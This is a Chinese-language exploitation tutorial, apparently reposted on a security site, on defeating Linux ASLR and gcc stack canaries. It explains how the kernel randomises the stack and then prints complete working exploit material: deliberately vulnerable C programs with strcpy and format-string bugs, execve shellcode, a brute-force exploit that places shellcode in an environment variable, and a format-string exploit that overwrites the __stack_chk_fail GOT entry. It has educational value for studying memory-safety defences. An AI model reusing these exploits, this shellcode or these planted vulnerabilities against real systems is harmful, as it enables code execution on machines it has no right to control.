xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

突破ASLR保护和编译器栈保护


创建时间:2009-08-14
文章属性:转载
文章来源:hackisle.cublog.cn
文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)

作者:hackisle

ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对栈、共享库映射等线性区布局的随机化,防止攻击者定位攻击代码位置,达到阻止溢出攻击的目的。据研究表明ASLR可以有效的降低缓冲区溢出攻击的成功率,如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。

以下是在Ubuntu7.04上对地址空间布局的测试:

[test.c]

#include <stdlib.h>
#include <unistd.h>

main()
{
    char *i;
    char buff[20];

    i=malloc(20);
    sleep(1000);
    free(i);
}

lk@lk-laptop:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk        8731  0.0  0.0   1632   332 pts/0    S+   18:49   0:00 ./test
lk        8766  0.0  0.0   2884   748 pts/1    R+   18:49   0:00 grep test
lk@lk-laptop:~$ cat /proc/8731/maps
08048000-08049000 r-xp 00000000 08:01 2256782    /home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782    /home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
b7e60000-b7e61000 rw-p b7e60000 00:00 0
b7e61000-b7f9c000 r-xp 00000000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f9c000-b7f9d000 r--p 0013b000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f9d000-b7f9f000 rw-p 0013c000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f9f000-b7fa2000 rw-p b7f9f000 00:00 0
b7fae000-b7fb0000 rw-p b7fae000 00:00 0
b7fb0000-b7fc9000 r-xp 00000000 08:01 12195      /lib/ld-2.5.so
b7fc9000-b7fcb000 rw-p 00019000 08:01 12195      /lib/ld-2.5.so
bfe86000-bfe9c000 rw-p bfe86000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

lk@lk-laptop:~$ ps -aux|grep test
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
lk        8781  0.0  0.0   1632   332 pts/0    S+   18:49   0:00 ./test
lk        8785  0.0  0.0   2884   748 pts/1    R+   18:49   0:00 grep test
lk@lk-laptop:~$ cat /proc/8781/maps
08048000-08049000 r-xp 00000000 08:01 2256782    /home/lk/Desktop/test
08049000-0804a000 rw-p 00000000 08:01 2256782    /home/lk/Desktop/test
0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
b7e1e000-b7e1f000 rw-p b7e1e000 00:00 0
b7e1f000-b7f5a000 r-xp 00000000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f5a000-b7f5b000 r--p 0013b000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f5b000-b7f5d000 rw-p 0013c000 08:01 12116      /lib/tls/i686/cmov/libc-2.5.so
b7f5d000-b7f60000 rw-p b7f5d000 00:00 0
b7f6c000-b7f6e000 rw-p b7f6c000 00:00 0
b7f6e000-b7f87000 r-xp 00000000 08:01 12195      /lib/ld-2.5.so
b7f87000-b7f89000 rw-p 00019000 08:01 12195      /lib/ld-2.5.so
bfe23000-bfe39000 rw-p bfe23000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]

通过两次运行后对比/proc下的进程信息可以发现进程栈和共享库映射的地址空间都有了较大的变化,这使得以往通过esp值来猜测shellcode地址的成功率大大降低了。Phrack59期有一篇文章介绍过使用return-into-libc的方法突破ASLR保护,不过存在着较大的条件限制,milw0rm的一篇文章也介绍了通过搜索linux-gate.so.1中的jmp %esp指令从而转向执行shellcode的方法,不过由于现在的编译器将要恢复的esp值保存在栈中,因此也不能继续使用,下面要介绍的是将 shellcode放在环境变量中的通用方法。

将shellcode放在环境变量中是比较早期的一种技术,不过在突破ASLR保护时仍能起到很好的效果,要了解其中的原因,首先要分析一下可执行文件的加载过程。Linux系统中提供了execve()系统调用,用来将可执行文件描述的新文境替换原进程的文境,execve()系统调用的内核入口是 sys_execve(),sys_execve()将可执行文件的路径名拷贝到内核空间后调用do_execve(),并将路径名指针、argv数组指针、envp数组指针和pt_regs结构指针传递给它。do_execve()分配一个linux_binprm结构,用可执行文件的数据填充该结构,包括调用copy_strings_kernel()和copy_strings()将可执行文件的路径名、环境变量字串、命令行参数字串拷贝到 linux_binprm结构的page指针数组指向的内核页面中(从后往前拷),然后通过search_binary_handler()搜索并调用可执行文件对应的加载函数,其中elf文件对应的是load_elf_binary()。

struct linux_binprm{
    char buf[BINPRM_BUF_SIZE];
    struct page *page[MAX_ARG_PAGES];
    struct mm_struct *mm;
    unsigned long p; /* current top of mem */
    int sh_bang;
    struct file * file;
    int e_uid, e_gid;
    kernel_cap_t cap_inheritable, cap_permitted, cap_effective;
    void *security;
    int argc, envc;
    char * filename;    /* Name of binary as seen by procps */
    char * interp;      /* Name of the binary really executed. Most
                   of the time same as filename, but could be
                   different for binfmt_{misc,script} */
    unsigned interp_flags;
    unsigned interp_data;
    unsigned long loader, exec;
};

load_elf_binary()的主要流程是把page指针数组指向的内核页面映射回用户空间,接着将可执行文件和解释器的部分区段映射到用户空间,并设置用户空间栈上的argc,argv[],envp[]和解释器将用到的辅助向量。为了将page指针数组指向的页面映射到用户空间,load_elf_binary()中调用了setup_arg_pages(),对应代码如下:

retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), executable_stack);

其中,STACK_TOP的值通常等于0xc0000000,即用户空间的顶端,randomize_stack_top()首先判断内核是否开启了 ASLR保护,如果开启,则调用get_random_int()获得一个随机数,并和STACK_RND_MASK(0x7ff)相与后再左移 PAGE_SHIFT(12)位得到random_variable,最后将stack_top按页边界对齐后减去random_variable,得到最终的stack_top值,由此我们可以算出stack_top可能的最小值为0xc0000000-0x7ff000=0xbf801000。

static unsigned long randomize_stack_top(unsigned long stack_top)
{
    unsigned int random_variable = 0;

    if ((current->flags & PF_RANDOMIZE) &&
        !(current->personality & ADDR_NO_RANDOMIZE)) {
        random_variable = get_random_int() & STACK_RND_MASK;
        random_variable <<= PAGE_SHIFT;
    }
#ifdef CONFIG_STACK_GROWSUP
    return PAGE_ALIGN(stack_top) + random_variable;
#else
    return PAGE_ALIGN(stack_top) - random_variable;
#endif
}

stack_base的值是按以下代码确定的:

stack_base = arch_align_stack(stack_top - MAX_ARG_PAGES*PAGE_SIZE);
stack_base = PAGE_ALIGN(stack_base);

其中,MAX_ARG_PAGES和PAGE_SIZE的值分别为32和4096,即参数的总长度不得超过32个页面。通过将sp减去一个随机数除 8192的余数后,末尾四位取0,再进行PAGE_ALIGN,可以得到最终的stack_base值,由此可以算出stack_base可能的最小值为 0xbf7df000。

unsigned long arch_align_stack(unsigned long sp)
{
    if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
        sp -= get_random_int() % 8192;
    return sp & ~0xf;
}

最后setup_arg_pages()通过循环调用install_arg_page将page指针数组指向的内核页面映射到用户空间中stack_base开始的区域:

for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
    struct page *page = bprm->page[i];
    if (page) {
        bprm->page[i] = NULL;
        install_arg_page(mpnt, page, stack_base);
    }
    stack_base += PAGE_SIZE;
}

这时,用户空间栈的布局如下:

(内存高址)
    ----------    stack_top
    +       ……        +
    ----------
    +       NULL        +
    ----------
    +       路径名      +
    ----------
    +   环境变量字串    +
    ----------
    +   命令行参数字串  +
    ----------
    +       ……        +
    ----------    stack_base
(内存低址)

通过以上分析可以得到:(1)、当向程序传递相同的环境变量时,即使stack_base的值是不固定的,但环境变量字串在页内的偏移却是一个固定的值,也就是环境变量字串地址的末尾3位是固定的。(2)、由于stack_base的可能最小值不会小于0xbf7df000,因此环境变量字串的地址总是高于0xbf7df000。

当我们把shellcode作为环境变量传递给被攻击程序时,便可通过路径名长度和shellcode长度确定shellcode地址的末尾3位,而头2 位则是固定的bf,中间3位的范围是7df~fff,这只是一个很小的区间,如果同时开启多个进程以不同地址进行尝试的话,很快便能命中我们的 shellcode。

以下是演示程序:

[vul.c]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char **argv)
{
    char buff[200];

    printf("SCD(%p)\n",getenv("SCD"));
    strcpy(buff,argv[1]);
}

[shellcode]

.section .data
.globl _start
_start:
    jmp 2f
1:
    popl %esi
    xorl %eax,%eax
    movb %al,0x3(%esi)
    movl %esi,0x4(%esi)
    movl %eax,0x8(%esi)
    movl 0x8(%esi),%edx
    leal 0x4(%esi),%ecx
    movl %esi,%ebx
    movb $0xb,%al
    int $0x80
2:
    call 1b
    .string "run"

[run.c]

#include <stdlib.h>

main()
{
    system("touch test");
    system("killall exp");
}

[exp.c]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

char scd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";

int main(int argc,char **argv)
{
    int i,j,addr;
    char buff[240];
    char *sargv[]={"vul",buff,NULL};
    char *senvp[]={scd,NULL};

    addr=0xbfa81fd1;
    for(i=0;i<20;i++)
    {
        printf("try SCD addr 0x%x\n",addr);
        *((int *)scd+1)=addr+4;
        for(j=0;j<60;j++)
            *((int *)buff+j)=addr+4;
        if(fork()==0)
        {
            while(1)
            {
                if(fork()==0)
                {
                    execve(sargv[0],sargv,senvp);
                    exit(EXIT_FAILURE);
                }
                wait(NULL);
            }
        }
        addr+=0x1000;
    }
}

其中vul.c是漏洞程序,shellcode的功能是执行run程序,run程序在当前目录下建立一个test文件,并结束exp进程。将页面大小 4096减去NULL指针的长度4,再减去路径名"vul"的长度4和scd数组的长度43,再加上开头4个字符的长度,最后便可得到shellcode 在页面内的偏移值fd1,同时开启20个进程分别以0xbfa81fd1等不同地址进行尝试,很快目录下便出现test文件,证明我们的 shellcode如期执行了。




为了防止栈溢出攻击,高版本的gcc通常会在编译时为局部变量含有char数组的函数中加入保护代码,通过:

0x08048481 <main+29>:   mov    %gs:0x14,%eax
0x08048487 <main+35>:   mov    %eax,0xfffffff8(%ebp)

把一个canary word保存在栈中,在函数返回时再通过:

0x080484dd <main+121>:  mov    0xfffffff8(%ebp),%edx
0x080484e0 <main+124>:  xor    %gs:0x14,%edx
0x080484e7 <main+131>:  je     0x80484ee <main+138>
0x080484e9 <main+133>:  call   0x80483a8 <__stack_chk_fail@plt>

检查该值是否被覆盖,从而判断是否发生栈溢出并转向相应的处理流程。另外,gcc还会调整局部变量的位置,把char数组挪到较高处,防止溢出时覆盖其它重要变量。这些措施在一定程度上增加了溢出攻击攻击的难度,但在某些特定情况下也可能被绕过,比如:

[vul.c]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(int argc,char **argv)
{
    int fd;
    char buff[200];

    printf("SCD(%p)\n",getenv("SCD"));
    strcpy(buff,argv[1]);
    fd=open("/dev/null",O_RDWR);
    dup2(fd,1);
    printf(buff);
}

当存在可写任意内存地址漏洞时(某些栈溢出漏洞也可能导致写任意内存地址,为了演示方便,使用了format string漏洞),可以通过修改__stack_chk_fail对应的GOT项从而改变程序的执行流程。

lk@lk-laptop:~/Desktop$ gdb vul -q
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080484a4 <main+0>:    lea    0x4(%esp),%ecx->ecx等于esp+4
0x080484a8 <main+4>:    and    $0xfffffff0,%esp
0x080484ab <main+7>:    pushl  0xfffffffc(%ecx)
0x080484ae <main+10>:   push   %ebp
0x080484af <main+11>:   mov    %esp,%ebp
0x080484b1 <main+13>:   push   %ecx->把ecx的值保存在栈中
0x080484b2 <main+14>:   sub    $0xe4,%esp->这时的esp等于ebp-232
0x080484b8 <main+20>:   mov    0x4(%ecx),%eax
0x080484bb <main+23>:   mov    %eax,0xffffff28(%ebp)->把argv指针数组的指针保存在ebp-216处
0x080484c1 <main+29>:   mov    %gs:0x14,%eax
0x080484c7 <main+35>:   mov    %eax,0xfffffff8(%ebp)->把canary word保存在ebp-8处
0x080484ca <main+38>:   xor    %eax,%eax
0x080484cc <main+40>:   movl   $0x804862c,(%esp)
0x080484d3 <main+47>:   call   0x8048398 <getenv@plt>
0x080484d8 <main+52>:   mov    %eax,0x4(%esp)
0x080484dc <main+56>:   movl   $0x8048630,(%esp)
0x080484e3 <main+63>:   call   0x80483d8 <printf@plt>
0x080484e8 <main+68>:   mov    0xffffff28(%ebp),%eax
0x080484ee <main+74>:   add    $0x4,%eax
0x080484f1 <main+77>:   mov    (%eax),%eax
0x080484f3 <main+79>:   mov    %eax,0x4(%esp)->把argv[1]放入esp+4处
0x080484f7 <main+83>:   lea    0xffffff30(%ebp),%eax->buff的位置在ebp-208处
---Type <return> to continue, or q <return> to quit---
0x080484fd <main+89>:   mov    %eax,(%esp)->把buff指针放入esp处
0x08048500 <main+92>:   call   0x80483c8 <strcpy@plt>->执行strcpy
0x08048505 <main+97>:   movl   $0x2,0x4(%esp)
0x0804850d <main+105>:  movl   $0x8048639,(%esp)
0x08048514 <main+112>:  call   0x8048378 <open@plt>
0x08048519 <main+117>:  mov    %eax,0xffffff2c(%ebp)
0x0804851f <main+123>:  movl   $0x1,0x4(%esp)
0x08048527 <main+131>:  mov    0xffffff2c(%ebp),%eax
0x0804852d <main+137>:  mov    %eax,(%esp)
0x08048530 <main+140>:  call   0x80483b8 <dup2@plt>
0x08048535 <main+145>:  lea    0xffffff30(%ebp),%eax
0x0804853b <main+151>:  mov    %eax,(%esp)->把buff指针放入esp处
0x0804853e <main+154>:  call   0x80483d8 <printf@plt>->执行printf
0x08048543 <main+159>:  mov    0xfffffff8(%ebp),%edx
0x08048546 <main+162>:  xor    %gs:0x14,%edx->比较canary word是否改变
0x0804854d <main+169>:  je     0x8048554 <main+176>->相等则正常返回
0x0804854f <main+171>:  call   0x80483e8 <__stack_chk_fail@plt>->不等则转向失败处理
0x08048554 <main+176>:  add    $0xe4,%esp
0x0804855a <main+182>:  pop    %ecx->恢复ecx的值
0x0804855b <main+183>:  pop    %ebp
0x0804855c <main+184>:  lea    0xfffffffc(%ecx),%esp->esp等于ecx-4
0x0804855f <main+187>:  ret
End of assembler dump.
(gdb) x/i 0x80483e8
0x80483e8 <__stack_chk_fail@plt>:       jmp    *0x8049758->要写入的内存地址为0x8049758
(gdb)

[run.c]

#include <stdlib.h>

main()
{
    system("touch test");
}

[exp.c]

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char scd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";

int main(int argc,char **argv)
{
    int i,j,addr;
    char buff[240];
    char *sargv[]={"vul",buff,NULL};
    char *senvp[]={scd,NULL};

    addr=0xbfffffd1;
    *((int *)buff)=0x8049758;
    strcpy(buff+4,"%700000000u%700000000u%700000000u%700000000u%");
    addr=addr-2800000004;
    j=strlen(buff);
    sprintf(buff+j,"%uu",addr);
    strcat(buff,"%n");
    for(i=strlen(buff);i<sizeof(buff);i++)
        buff[i]='A';
    buff[239]='\0';
    execve(sargv[0],sargv,senvp);
}

另外,经过测试,当char数组小于8时,gcc不会在编译过程中加入保护代码,这时可以按照传统的方法溢出。而在ubuntu、debian系统中,canary word是一个固定的数0xff0a0000,因此有可能通过多次覆盖或者基于memcpy的栈溢出绕过该保护。